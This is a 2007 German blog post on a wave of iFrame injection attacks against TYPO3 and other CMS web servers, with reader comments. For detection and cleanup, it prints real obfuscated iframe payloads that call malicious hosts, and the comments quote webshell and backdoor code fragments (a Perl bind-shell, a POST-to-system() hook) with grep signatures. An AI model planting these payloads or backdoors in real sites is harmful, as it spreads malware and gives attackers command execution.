Angriffswelle gegen Webserver (”iFrame-Attacken”) - nun auch TYPO3

Dienstag, 03. Juli 2007 13:48 - Autor: Ekkehard Gümbel

[A translated version of this article is available on the official TYPO3 Blog page]

Schon seit einiger Zeit wird von wiederkehrenden Angriffen auf Webserver berichtet, so etwa in den Pressemeldungen “Groß angelegter Angriff auf Web-Anwender im Gange”, “Weitere Details zu Web-Attack-Toolkit MPack” “Schneeball-Effekt: nur ein anfälliges PHP-Script genügt” und vielen anderen Quellen. In diesen Angriffen werden - zumindest teilweise automatisiert - verschiedene Wege ausgenutzt, um Kontrolle über die Webserver zu erlangen.

Dies hat nun auch TYPO3 (und andere CMS-Systeme) erreicht: Einige Berichte zu solchen Vorkommnissen waren in Foren zu lesen, andere wurden diskret dem TYPO3 Security Team gemeldet. In diesem Artikel möchte ich vorstellen, was davon von allgemeinem Interesse ist.

“Woran kann ich erkennen, ob mein System betroffen ist?”

Das “Hacken” der Systeme wird momentan offenbar vor allem ausgenutzt, um kleine HTML “Inline-Frames” (iFrames) im Seiteninhalt zu verankern. Wenn ich also als ahnungsloser Endbenutzer eine betroffenen Webseite besuche, sieht diese möglicherweise ganz normal aus - allerdings wird unbemerkt zusätzlicher Inhalt von einem fremden Server geladen. Dies kann Schadsoftware aller Art sein (die ihrerseits z.B. neue Javascript- oder Windows-Lücken ausnutzt.)

Die gehackten Systeme werden also als zentral gesteuerte “Malware-Schleuder” verwendet. (ABER: Dies kann sich schon morgen ändern! Wenn die Hacker sich überlegen, die betroffenen Server anderweitig zu mißbrauchen oder gar zu zerstören, werden sie das tun können.) Links zu weiteren Analysen finden sich z.B. im o.g. Heise-Artikel.

Bleiben wir bei den iFrame-Attacken. Wie sehen diese nun konkret aus? Das Prinzip ist klar: Im Seitenquelltext findet sich die Einbindung eines iFrame, z.B. in der einfachsten Schreibweise:
<iframe src=http://www.alexa-rank.info/libraries/iframe.php
?u=a4" style="display:none"></iframe>

Doch die Hacker (oder sogar nur “der Hacker”?) haben inzwischen viele andere Varianten hinterlassen, die verschleiern sollen, was vor sich geht.

Ein weiteres Beispiel, bei dem die IP 203.223.159.105 (= www.alexa-rank.info) in Ihrer Hexadezimal-Darstellung “0xcbdf9f69″ angegeben wird:
<iframe src="http://0xcbdf9f69/google-analytics/iframe.php
?u=a4" style="display: none;"></iframe>

Neben “alexa-rank.info” sind auch andere Zielsysteme aufgetaucht, z.B.

  • gashar.info (bisher nur für Joomla-Hacks genutzt)
  • www.free20.com
  • google-counter.org

Hier noch einige weitergehende Verschleierungen:
<meta name="description" content="<iframe src=http://0xcbdf9f69/google.com/AdSense.php style="display:none"></iframe>" />

<span class="someclass">[</span> <a href="Login.html" class="bottomnav">Login<span class="someclass">]<iframe src=”http://0xcbdf9f69/libraries/iframe.php” style=”display: none”></iframe> </span></a> <span class=”someclass”>]</span>

<script type="text/javascript">document.write('
\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020
\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070
\u003a\u002f\u002f\u0030\u0078\u0063\u0062\u0064
\u0066\u0039\u0066\u0036\u0039\u002f\u0067\u006f
\u006f\u0067\u006c\u0065\u002d\u0061\u006e\u0061
\u006c\u0079\u0074\u0069\u0063\u0073\u002f\u0069
\u0066\u0072\u0061\u006d\u0065\u002e\u0070\u0068
\u0070\u003f\u0075\u003d\u0061\u0034\u0020\u0073
\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069
\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f
\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066
\u0072\u0061\u006d\u0065\u003e');</script>

<script type="text/javascript">document.write
('\u003c\u0069\u0066\u0072\u0061\u006d
\u0065\u0020\u0073\u0072\u0063\u003d\u0068
\u0074\u0074\u0070\u003a\u002f\u002f\u0077
\u0077\u0077\u002e\u0061\u006c\u0065\u0078
\u0061\u002d\u0072\u0061\u006e\u006b\u002e
\u0069\u006e\u0066\u006f\u002f\u006c\u0069
\u0062\u0072\u0061\u0072\u0069\u0065\u0073
\u002f\u0069\u0066\u0072\u0061\u006d\u0065
\u002e\u0070\u0068\u0070\u0020\u0073\u0074
\u0079\u006c\u0065\u003d\u0022\u0064\u0069
\u0073\u0070\u006c\u0061\u0079\u003a\u006e
\u006f\u006e\u0065\u0022\u003e\u003c\u002f
\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script>

<script type="text/javascript">eval
(unescape('%64%6F%63%75%6D%65%6E%74%2E
%77%72%69%74%65%28%27%3C%69%66%72%61
%6D%65%20%73%72%63%3D%68%74%74%70%3A
%2F%2F%77%77%77%2E%61%6C%65%78%61%2D
%72%61%6E%6B%2E%69%6E%66%6F%2F%6C%69
%62%72%61%72%69%65%73%2F%69%66%72%61
%6D%65%2E%70%68%70%3F%75%3D%61%34%20
%73%74%79%6C%65%3D%22%64%69%73%70%6C
%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%
69%66%72%61%6D%65%3E%27%29%3B'));</script>

Noch ein Tipp zur Erkennung: Eine der nach erfolgreichem Hackerangriff manchmal installierten Webshells erfordert den folgenden User-Agent:

"http://www.googlebot.com/bot.html)" (jedoch mit der Endung "shtml" statt "html" !)

Also: WENN im Webserver-Log ein solcher Eintrag (inklusive der o.g. nderung der Endung) auftritt, sollten die Alarmglocken schrillen. WENN NICHT - heißt das gar nichts…

“Wie dringen die Angreifer auf ein System ein?”

Offenbar unterschiedlich…

  • Es sind verschiedenste Systeme betroffen, sowohl TYPO3 als auch andere Systeme (Joomla, …)
  • In manchen Fällen wurden Lücken in darunterliegender Software (z.B. cPanel) ausgenutzt.
  • Es wurden Fälle berichtet, in denen bekannte Lücken in TYPO3 Dritt-Extensions ausgenutzt wurden (z.B. der “macina_banners Bug“). Es sei hier nochmal dringend empfohlen, für alle bekannte Probleme die dafür verfügbare Behebung einzuspielen!

Hinweise auf bisher unbekannte Probleme mit TYPO3 Kern oder Zusatzmodulen konnte das Security Team bisher nicht finden. Dennoch kann dies natürlich nicht ausgeschlossen werden - wer auf seinem Server solche Verdachtsmomente findet, sollte diese also bitte unbedingt und vertraulich dem TYPO3 Security Team zukommen lassen.

Im Ergebnis verfügt der Hacker dann jeweils über einen Zugriff auf das System, mindestens mit den Rechten des Webserver-Prozesses. Diese nutzt er im nächsten Schritt aus.

“Was tun die “Hacker” auf dem System?”

Momentan im Kern offenbar zwei Dinge:

  • Sie schaffen sich eine komfortable Arbeitsumgebung (z.B. per Web-Shell wie “r57shell” oder “STNC WebShell”, also Browser-Oberfläche, mit der sie mit Dateien arbeiten und Shell-Kommandos ausführen können.) Übrigens ein klarer Hinweis, dass es sich hier NICHT um vollautomatische Attacken, Würmer o.ä. handelt!
  • Sie manipulieren Dateien (z.B. durch Anhängen des “iFrame”-Codes am Ende index.php oder an anderen Stellen, bis hin zu localconf.php)

Auch hier finden sich wieder viele Verschleierungtaktiken. Der Schad-Code wird an verschiedensten Stellen abgelegt, z.B. in Extension-Unterverzeichnissen oder in typo3temp. Oder, noch kreativer: Er wird in Dateien mit anderen Endungen (z.B. CSS) abgelegt und diese etwa per .htaccess ausführbar gemacht, oder einfach eingebunden.

Jedenfalls gehen die Hacker recht abwechslungsreich vor und scheinen auch einige TYPO3-Kenntnisse mitzubringen.

“Mein Server wurde gehackt. Wie kann ich ihn wieder bereinigen?”

Schwierig! Das reine Beheben der sichtbaren Symptome (z.B. “iFrame-Code aus index.php löschen”) reicht mit Sicherheit nicht. Ein zuverlässiges Bereinigen heißt: Sichergehen, dass alle Änderungen (in Datenbanken und Dateien) rückgängig gemacht sind und keine Hintertür das Hackers mehr offenbleibt. Um es offen zu sagen - dies ist SEHR schwer, genaugenommen müßte man sogar sagen: unmöglich.

Meine dringende Empfehlung ist daher, das System aus intakter Datensicherung komplett neu aufzusetzen!

Wer so weit nicht gehen kann oder möchte, sollte folgendes beherzigen:

  • Wenn irgend möglich, zunächst das System vom Internet trennen
  • Versuchen zunächst sicherzustellen, dass der Angreifer nicht über die Rechte des Webservers hinaus Systemzugriff erlangt hat (also, bei Linux / Unix: root geworden ist). Rootkit-Suchwerkzeuge wie chkrootkit können helfen.
  • Versuche dann herauszufinden, über welche Lücke das System gehackt worden ist. Sind bekannt unsichere TYPO3-Extensions eingebunden und nicht aktualisiert? Sind veraltete Middleware-Versionen (Apache, PHP, cPanel, …) oder Drittsoftware (phpBB, …) im Einsatz? Wurde ein FTP-Zugang mißbraucht (z.B. durch Ausprobieren unsicherer Kennworte?)
  • Nun geht es an’s Aufräumen… viiiiel Glück dabei (s.o.)…

“An wen kann ich mich wenden, und was sollte ich sonst noch tun?”

Wie schon gesagt: Wer Dinge findet, die auf bisher unbekannt Probleme mit TYPO3 Kern oder TYPO3 Dritt-Extensions hinweisen, sollte diese Information unbedingt und vertraulich dem TYPO3 Security Team zukommen lassen (Link s.o.). Dieses wird prüfen, ob es sich wirklich um ein Problem handelt, die kurzfristige Behebung einleiten und nach mit Bereitstellung der Behebung das Problem veröffentlichen. Dazu wird neben typo3.org auch die TYPO3 Announce Mailingliste verwendet, die jeder TYPO3-Betreiber unbedingt abonnieren sollte!

Wer andere (also nicht TYPO3-spezifische), bisher unbekannte Probleme vermutet, sollte sich ebenfalls vertraulich an den entsprechenden Hersteller wenden.

In keinem Fall sollte etwaige Lücken öffentlich gemacht werden, bevor sie behoben sind!

Abschließend sei allen Serverbetreibern nochmal ein verantwortungsvoller Betrieb ans Herz gelegt. Dies bedeutet vor allem: Sorgfältige Auswahl und Konfiguration der eingesetzten Software, und kurzfristiges Einspielen etwaiger Sicherheitsfixes sowohl für Anwendungen (z.B. TYPO3 oder TYPO3 Dritt-Extensions) als auch für Betriebssystem und Middleware.

Eine Sammlung detaillierterer Hinweise gibt übrigens das TYPO3 Security Kochbuch, welches auf der TYPO3 Security Team Webseite verlinkt ist.

14 Kommentare zu “Angriffswelle gegen Webserver (”iFrame-Attacken”) - nun auch TYPO3”

  1. TYPO3 Security Blog eröffnet! | Fachinformatiker - SEO - TYPO3
    Juli 3rd, 2007 19:30
    1

    [...] dann auch gleich in sich! Geschätze 10 DIN A4 Seiten beschäftigen sich ausführlich mit dem Thema Angriffswelle auf TYPO3 und andere Webserver (”iFrame-Attacken”). Ein klasse Artikel zu einem spannenden und aktuellen [...]

  2. iFrame - Angriffe auf TYPO3 | TYPO3 Blogger
    Juli 5th, 2007 23:30
    2

    [...] der erste Post des neuen naw.info Blogs ist sehr Interessant. Ekkehard Gümbel geht direkt auf mehre Fragen ein, [...]

  3. Oliver Leitner
    Juli 6th, 2007 20:58
    3

    Wir haben zwei Webs, die es bis dato, seit gut 3 Monaten, mehrfach erwischt hat.

    Was mir persönlich, bei den insgesammt 20 Attacken so aufgefallen ist:

    1. es trifft immer die “älteren” Typo3 Installationen, bei uns waren es unsere zwei übriggebliebenen 3.8.1er installationen. Die 4.0.x und 4.1.xer wurden bis dato noch nicht gehackt.

    2. Als eine Effiziente Abwehr empfehle ich mod_security in kombination mit php suhosin, das scheint soweit zu greiffen, mal davon abgesehen, dass man den typo3temp und den uploads folder nicht mehr world writeable und readable machen sollte fuer alle user (chmod 0644 *.js)

    3. Die Typen haben es sogar geschafft, php code an die localconf.php zu hängen, also auch diese Datei schützen (php code userfunc… darin dann das document.write encodiert, darin dann der iframe nochmal url encoded…).

    4. das Backdoor war in einer license.php im “workflow_smiley” extension dir “installiert”, wenn man die php datei direkt ausgeführt hat, hat diese die Backdoors ueber und unter dem Lizenstext selbstständig entfernt, sie hat sich sozusagen selber neu geschrieben.

    5. installtool und phpmyadmin sperren: (.htaccess, die functs…)

    6. in der haupthtaccess: Options -Indexing

    8. In jedes Verzeichnis mit mehr als nur lese Privilegien wenigstens eine index.html ablegen, sodass der/die Typen nicht grad von selbst auf temp filenames etc… kommen.

    Die Angriffe kommen immer von Anderen gehackten ip’s, und ich messe im Moment an die 700 Angriffe Pro Tag, es scheint also was automatisiertes im Einsatz zu sein.

  4. Ekkehard Gümbel
    Juli 7th, 2007 10:10
    4

    Danke, Oliver!
    Ein Frage noch: 700 Angriffe pro Tag = gezielte Zugriffsversuche auf veraltete Extensions? Oder was genau siehst Du?
    Ich glaube das ganze wäre mal dringend einen Honeypot wert…

  5. Oliver Leitner
    Juli 7th, 2007 12:00
    5

    ja, genau, geziehlte angriffe auf: phpmyadmin extension, dmailer zeugs, grundsaetzlich auf alles, was ein formular hat.

    dann werden auch diverse xss staendig ausprobiert, fuer shop systeme, und fuer registrierungsseiten. (sr_feuser…, tt_products, tt_news…)

    worauf man auch achten sollte: php safe_mode, den haben die typo3 devs gerne abgeschalten, weil da so viel mehr geht … (awstats…) sofort einschalten, damit vermeidet man u.a., dass so schoene sachen wie n wordpress, n cpanel oder n phpmyadmin dem eigenen typo3 web zum verhängniss werden… (wir hatten mind. einmal n erfolgreichen ueber ne alte wordpress version…)

    mit safe_mode funktioniert zwar cc_awstats nicht mehr, allerdings gibt ics_awstats da einen sehr guten ersatz, der auch mit safe_mode funktioniert.

    gefunden hab ich das php backdoor uebrigens mit dem clamav, der zeigts einem an… (zumindest hat ers in meinem fall getan), also mal n clamscan ueber das webroot laufen lassen…

  6. Oliver Leitner
    Juli 7th, 2007 12:08
    6

    auszuege:

    aus dem localconf.php

    aus dem licence.php ein paar auszuege:

    function start_session(){
    if ($_SERVER['HTTP_USER_AGENT'] != elesif(’E29iM2kyLz90YmVhZFNbVTu0qUN6Yl93q3phM29iM2kyLz90YzAioF9vo3Dhp2u0oJjc’)){
    $license = ‘GNU GENERAL PUBLIC LICENSE



    if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']==”Perl”))
    {
    cf(”/tmp/bdpl”,$port_bind_bd_pl);
    $p2=which(”perl”);
    $blah = ex($p2.” /tmp/bdpl “.$_POST['port'].” &”);
    $_POST['cmd']=”ps -aux | grep bdpl”;
    }



    else if(($_POST['cmd']!=”php_eval”)&&($_POST['cmd']!=”mysql_dump”)&&($_POST['cmd']!=”db_query”)&&($_POST['cmd']!=”ftp_brute”))

    das audit_log von mod_sec hat ueber 5 megabyte pro tag.
    das errorlog hat ueber 4.3 gigabyte per monat, und alleine das web, das am meisten attackiert wird erzeugt 127 gigabyte traffic pro monat (und das ist keine streaming media page…), bei den dimensionen ist es nur ne frage der zeit, bis angriffe greifen.

  7. TYPO3forum.net
    Juli 8th, 2007 13:16
    7

    [Sicherheitslücke] Eindringling in der localconf.php…

    Hi,
    auf typo3.org gibt es inzwischen eine Zusammenfassung der Erkenntnisse des TYPO3 Security Team zu diesen Angriffen, n……

  8. A. Bohndorf
    Juli 13th, 2007 20:17
    8

    Wir haben 2 Arten von Backdoor-Programmen gefunden, eine komplette Admin-Shell und ein Code-Fragment, das an verschiedenen Stellen im TYPO3-Source eingefügt wird:
    if (isset($_POST['rtehtmlarea'])) {
    $form = $_POST['rtehtmlarea'];
    echo ”;
    call_user_func(’syst’.substr(md5(’!'), 4, 1).’m', $form);
    exit;
    }

    Aufspüren kann man die Programme via:

    grep -r “call_user_func(’syst” *

    und

    grep -r “/tmp/bd”

    Ach eins noch: Bei den betroffenen Webs sollte man unbedingt prüfen, ob register_globals auf off steht.

  9. Aleks
    Juli 16th, 2007 11:57
    9

    Sollte jemand sein ganzes System (oder ein Verzeichnis) nach z.b. Codespuren durchsuchen wollen kann er das einfach hiermit:

    find . -name “*” -exec grep SUCH_STRING ‘{}’ \; -exec ls -lha ‘{}’ \;

  10. Ekkehard Gümbel
    Juli 20th, 2007 14:01
    10

    Zu Aleks’ Eintrag: Suchstrings für die o.g. Webshells könnten z.B. folgende sein:

    rst.void.ru
    security-teams.net

    Danke an Martin für das (per PM geschickte) jüngste Beispiel einer weiteren RST-Webshell…

  11. Kai
    August 7th, 2007 18:39
    11

    Hallo,

    habe eben noch folgende Version gefunden:

    error_reporting(0);for($i=0,$s='';$ieval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%30%78%63%62%64%66%39%66%36%39%2F%6C%69%62%72%61%72%69%65%73%2F%69%66%72%61%6D%65%2E%70%68%70%3F%75%3D%61%31%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));

  12. Eugen
    August 23rd, 2007 12:07
    12

    Kai, wir hatten den selben Fehler in der localconf.php. Nachdem wir die Shell entfernt haben, funktioniert wieder alles.

  13. ipfoo
    Mai 19th, 2008 07:42
    13

    So langsam gehen mir diese Leute auf den Keks.

    Auf der einen Seite ist es in Ordnung, dass durch diese massenhaften Hacks die Sicherheit weiter in den Vordergrund gestellt wird und somit System weiteren, meist intensiveren Audits unterzogen werden.

    In der Summe entsteht aber vorerst nur ein Schaden und durch die extreme Variation in den Verschleierungstechniken, ist hier wohl auch noch kein Ende in Sicht.

    Hoffen wir mal das Beste.

  14. ламинат
    August 25th, 2008 08:18
    14

    6wI’ll thingk about it.7v I compleatly disagree with last post . dxe
    ламинат и паркет 5j

Kommentar abgeben: